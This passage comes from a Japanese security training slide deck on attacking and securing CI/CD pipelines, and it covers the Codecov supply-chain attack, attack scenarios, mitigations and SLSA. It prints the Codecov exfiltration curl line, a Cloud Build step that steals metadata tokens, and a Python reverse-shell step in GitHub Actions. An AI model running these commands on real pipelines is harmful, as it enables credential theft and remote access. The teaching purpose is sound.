て取得できるようになっていることが多い
72

View Slide

2021: Codecov Supply-chain Attack
● Codecov: CI/CD pipelines上で用いるテストカバレッジの計測ツール
○ Codecovが下記の内容を含むよう改ざんされた(サプライチェーン攻撃)
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
■ git repositoryの名前と環境変数がアップロードされる
○ 2021年4月に発覚。約2ヶ月間世界中で気づかれないまま利用され続けていた
73

View Slide

CI/CDパイプラインにおける難しさ
● CI/CDは便利だけどリスクも高い
○ デフォルトの挙動を理解し、対策を行わないと、設定ミスにより本番侵害に繋
がる
○ ログの保管・実施事項のモニタリングが難しい
○ Managedだと外向き通信の制限なども難しい
● 静的な長期トークンの危険
○ ポータブル
○ Expireしない
○ トークンの中央管理は難しい
● サプライチェーン管理
○ ソフトウェアの依存関係だけでなく、CI/CDパイプライン上で使っているツー
ルも攻撃に使用される
○ 何のツールを使っているかの把握やIntegrityの管理も必要だが、そもそも管
理手段がないものもあり難しい
74
まだベストプラクティスも確立しておらず、セキュリティに配慮した設計が難しい

View Slide

ATT&CK-like threat matrix
https://github.com/rung/threat-matrix-cicd
MercariでATT&CK-likeに
まとめた攻撃手法一覧
75

View Slide

(Ref) Top10 CI/CD Security Risks
https://www.cidersecurity.io/top-10-cicd-security-risks/
Top10 CI/CD Security Risks
76

View Slide

守りかたの理解と実践
(Ref) SLSA
● SLSA: Supply-chain Levels for Software Artifacts
○ サプライチェーンを保護する対策の業界標準
○ 主なスコープ
■ Software artifactの作成
■ 依存関係の利用
■ DeveloperからConsumerまでのサプライチェーン
77
(本講義のゴール)具体的に各Requirementが何を守るのかを意識しながら利用すること

View Slide

(Ref) GitHubの推奨設定
GitHub Organizationの安全な運用とモニタリングに関するスライド
（全44ページ）を無償公開しました - Flatt Security Blog
78

View Slide

(Ref) CI/CDセキュリティ関連の文書リスト
79
CI/CD, SLSAなどを含むクラウド関係全体の文
書リスト
CI/CD Providers - CloudSecDocs

View Slide

演習3: Try continuous deployment and Infrastructure as code
● ゴール
○ CI/CDによるデプロイ自動化とInfrastructure as Codeを実際に試してみる
80

View Slide

(参照) Lab環境
81
devenv-security-app
secrets.GCP_
SA_KEY
GitHub Actions
(CD)deploy
test
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workﬂows
main branch
any branch
Deployment
(To simplify the lab, app builds container and deploy it directly)
Cloud Run
devenv-security-app
secrets.GCP_
SA_KEY
GitHub Actions
(CD)apply
plan
https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workﬂows
Google Cloud
main branch
any branch
Apply
Google Cloud
Resource
on Your Project
Plan
(Storage) state
management
App
IaC

View Slide

2. CI/CDパイプラインを狙った攻撃の理解と実践
CI/CDパイプラインを狙った攻撃について理解し、実際に演習を行います
82

View Slide

CI/CDパイプラインを狙った攻撃の理解と実践
CI/CDパイプラインにおける攻撃手法
Source Code
(Git Repository)
Developer, SRE
Production
Build/Test Deploy
✔
Credentials
on Env Variables
Approver
● CI/CD Conﬁguration変更
● ソースコードの変更
● IaCでのコード変更
● Lint, Test, Build Toolへのサプラ
イチェーン
● デプロイのためのCredentials取得
(isolation不足)
● デプロイツールへのSupply-chain
● Bypass Review
Credentials
on Env Variables
Merged
CI CD
83

View Slide

Attack Scenario 1 - Managed CI/CD Pipelineへのサプライチェーン攻撃
● Codecovのようなサプライチェーン攻撃
○ CircleCIの環境変数は同じレポジトリ内のどのブランチからも参照できる
■ (mainブランチとそれ以外のIsolationがない)
84

View Slide

Attack Scenario 2 - IaC by Cloud Buildの一般的な構成
● Infrastructure as Code through the CI/CD pipeline
○ GCP Cloud Buildは透過的にSecret Managerにアクセスできるように設定可
能
■ 適切に設定しないと、mainブランチとそれ以外のIsolationがされない
■
■
85

View Slide

Attack Scenario 2 - IaC by Cloud Buildの一般的な構成を狙った攻撃
Device
(Write
Permission)
Plan Apply
✔
Credential For Cloud
Configuration
Approver
Infrastructure as
Code
Cloud Build Cloud Build
GitHub
Secret Manager
Merged
Cloud
Infrastructure
Branch: dev Branch: main
CI CD
C&C
1. Malware Infection via Phishing
2. Kick CI by push and
modify cloud build config
Metadata Server
3. Metadata server provides Temporary
Google Service Account Token
4. Attacker retrieves credential from Secret Manager
86

View Slide

(Ref) Attack Scenario 2 - IaC by Cloud Build
cloudbuild.yaml (Cloud Build Conﬁguration)
steps:
- name: 'curlimages/curl'
args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H",
"Metadata-Flavor: Google"]...
● Cloud Buildからの一時トークンの取得は下記で実施できる
○ * SSRFと同様の攻撃. Metadataからのトークン取得
87

View Slide

(Ref) Attack Scenario 3 - CI/CDパイプライン内での権限昇格 (Self-hosted)
● CI/CDパイプライン上で権限昇格して横展開する
○ コンテナ環境で運用されているCI/CD pipelineの例
● Real World Example (Sep, 2021)
○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
■ https://goteleport.com/blog/hack-via-pull-request/
88

View Slide

演習4: Attack against CI/CD
● ゴール
○ CI/CDパイプラインを攻撃し、アタックサーフェスを理解する
89

View Slide

3. 守りかたの理解と実践
さきほど攻撃を行ったCI/CDパイプラインについて、どのような守り方をする
と攻撃を防ぐことができるか考えます
90

View Slide

CI/CDパイプラインを守る
● CI/CDセキュリティを考える際に使えるリソース
○ メルカリ公開のThreat matrixが“Mitigation”列を含んでいる
■ CI/CDセキュリティのデザインを決めるときに使用できる
○ Top10 CI/CD Security RisksもRecommendationを含む
● CDはプロダクションレベルのセキュリティが必要となる
○ CDはビルド/デプロイや設定変更を行える場所になる
https://github.com/rung/threat-matrix-cicd
91

View Slide

Components of CI/CD
Name Tools
Device ● Developer Workstation: Mac/Win/Cloud-based
Git Repository
Service (SCM)
● GitHub, GitLab
CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
CD
● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
● CD Services (e.g. Spinnaker, ArgoCD)
Secret
Management
● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
Manager, Hashicorp Vault)
Production
environment
● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
92

View Slide

Mitigationのしかた
●
Source Code
(Git Repository)
Device
Production
Build/Test Deploy
✔
Approver
● 適切なAccess Controls
● Least Privilege
● Rate Limiting
● Signed Commitsの強制
● Audit Logging and
Monitoring
Approved
Secret Manager
● ネットワーク制限
● Audit Logging and
Monitoring
● Rate Limit
CI CD
● Self-Hosted (Not Managed)の堅牢化
● CI/CDの分離
● Keyless
● Audit Logging and Monitoring
● 信頼できないtoolを使用しない
● Tool Integrity Checks
● TerraformなどはCDでのコード実行の制限
(Disallow CI/CD conﬁg modiﬁcation without
review, etc)
●
● Keylessを用いる。必要なStatic KeyはSecret Managerに保管
● mainブランチとそれ以外のIsolationをする
● 適切な鍵管理・権限設定(Key Rotation, Least Privilege, CIと
CDで権限を分けるなど)
● ネットワーク制限
● Audit Logging and Monitoring
❌
❌
Attacker’s Server
C&C
Egress Restriction
Valid Token from
External Network
❌
❌
Network
Restriction to API
Secret Manager
93

View Slide

セキュリティの基本原則に立ち返る
● 静的なクレデンシャルは、一度盗まれたらどこからでも使える、Single Point of Failure
になりうる
● 攻撃の流れ全体を見ると、インテリジェントな対策よりも、まずはNetworkのEgress制
限・3rd party toolなどがトークンにアクセスできないようにするなどの対策が有効にな
るとも考えられる(アップロードやC2サーバへのアクセスを防止できるため)
● セキュリティの基本原則に立ち返りつつ考える
○ Defense in depth (多層防御)
■ ネットワーク制御, CIとCDの分離, Keyless, Attack Surfaceの最小化,
Integrityの確認(署名検証: tool, application, library, container image)
■ 鍵が不正利用された可能性がある場合に速やかに変更できるプロセスの確立
○ Least Privilege (最小権限の原則)
■ 常に最小権限にする
○ その他
■ Multi-party authentication(Approval必須)
■ Audit logging and Security Monitoringなど
● ※ モノレポなどでは、さらなる考慮が必要
94

View Slide

Managed vs Self-hosted
● Managed CI/CD Pipelinesの課題
○ 可視性が低い
○ 他社とネットワーク環境を共有しており、ネットワーク制限なども難しい
● Self-hosted CI/CDの選択肢
○ 1. Commercial CI/CDのSelf-hosted runnerを用いる(GitHub Actionsなど)
○ 2. OSSのCI/CDをベースにしてCI/CD infrastructureをインハウスで作る
● No perfect solution provided!
○ CI/CDセキュリティはまだ新しいエリア
○ セキュアなCI/CDパイプラインを作るためには、Self-hostedなども用いなが
ら開発することが必要
95

View Slide

演習5: Secure your CI/CD pipeline
● ゴール
○ CI/CDパイプラインのセキュア化を実施しつつ、限界を把握する
96

View Slide

(参考) GitHub ActionsのOIDC Token
● Flow
● ID Tokenの構造 (repository: rung/actions-test, branch: test-run)
97
Actions ID Provider
curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}"
"${ACTIONS_ID_TOKEN_REQUEST_URL}&audience="
ID Token
Format: JWT(JWS)
Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."}
Payload:
{"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"","ref":"refs/heads/test-run","sha":"...","repo
sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1"
,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":""
,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss":
"https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...}
Spec of Claims
Conﬁguring OpenID Connect in cloud providers - GitHub Docs

View Slide

(参考) CI/CDの中に入ってコマンドを実行する
● Tailscaleなどを利用するとサーバのセットアップなどなしにCI/CDの中身を見れる
○ (Mesh networkを利用して直接通信できるようになる)
○ Actionsからローカル端末にリバースシェルを貼る
○ Tailscaleに接続した端末で待ち受ける
98
- name: Setup Tailscale
uses: tailscale/github-action@main
with:
authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }}
- name: shell
run: |
export RHOST="";export RPORT=8080;python -c 'import
socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("/bin/sh")'
% nc -l 8080
$ hostname
hostname
fv-az399-545
$ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"

View Slide

本章のまとめ
○ CI/CDパイプラインの理解や、CI/CDパイプラインを狙った攻撃を説明した
○ 実際に攻撃する方法を紹介し、実践を行った
○ 守りかたと、現状の限界を説明し、守りかたの実践を行った
99

View Slide

Summary
100

View Slide

(再掲) ゴール
Threat Modelingによる
リスクの特定サイクル
(Microsoft)
Purple Teaming
攻撃目線・防御目線の協力
によるセキュリティ改善
(SANS)
101
● Webアプリケーションを直接狙わない、開発環境経由
の攻撃シナリオを把握する
● NISTなどのセキュリティフレームワークや各種ベスト
プラクティス、Public Cloud/SaaSなどの提供するセ
キュリティ機能について、開発環境観点からの重要度
の判断や、それらに足りていない項目の把握ができる
ようになる
● ベストプラクティスの確立していない新しい開発技術
においても、Threat Modelingや設計が出来るようにな
る

View Slide

本日行った内容
1. Introduction -
セキュリティ
Webアプリケーションの侵害について、開発環境の攻撃シナリオの観点から講義を行った
102

View Slide

Special Thanks!
103

View Slide

Special Thanks!
● Security 2022 Web Security Class
○ Producer: Takashi Yoneuchi
○ Tutor: Yuta Morioka
● Reviewer / Advisor (Abc order)
○ Ginji Hayashi
○ Kengo Suzuki
○ Masahiro Yamada
○ Miki Takahashi
○ Mitsuaki (Mitch) Shiraishi
104

View Slide

References
105

View Slide

References
● 1. Introduction - 開発環境の変化と攻撃の流れ
○ 石川朝久, 2022”脅威インテリジェンスの教科書”
○ Adam Shostack, 2014 ”Threat Modeling: Designing for Security”
○ Purple Teaming Explained
○ Threat Modeling at Mercari
○ MITRE ATT&CK®
○ The Uniﬁed Kill Chain
○ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
○ Microsoft Security Development Lifecycle Threat Modelling
● 2. 開発端末に残るもの
○ The C2 Matrix
○ Pursuing evasive custom command & control - GuideM
○ Chromium Docs - Chrome Security FAQ
○ About Multifactor Authentication | Okta
○ GitHub - swisskyrepo/PayloadsAllTheThings
○ HackTricks
○ Stealing Chrome cookies without a password
○ GitHub - moonD4rk/HackBrowserData
106

View Slide

References
● 3. CI/CDパイプラインのセキュリティ
○ Attacking and Securing CI/CD Pipeline - Speaker Deck
○ Terraform CI code execution restrictions | Mercari Engineering
○ Common Threat Matrix for CI/CD Pipeline
○ Top 10 CI/CD Security Risks
○ SLSA: Supply-chain Levels for Software Artifacts
○ CNCF Software Supply Chain Best Practices
○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward
107

View Slide

開発環境のセキュリティおよびCI/CDパイプラインのセキュア化

開発環境のセキュリティおよびCI/CDパイプラインのセキュア化

Hiroki Suezawa (@rung)

More Decks by Hiroki Suezawa (@rung)

Other Decks in Technology

Featured

Transcript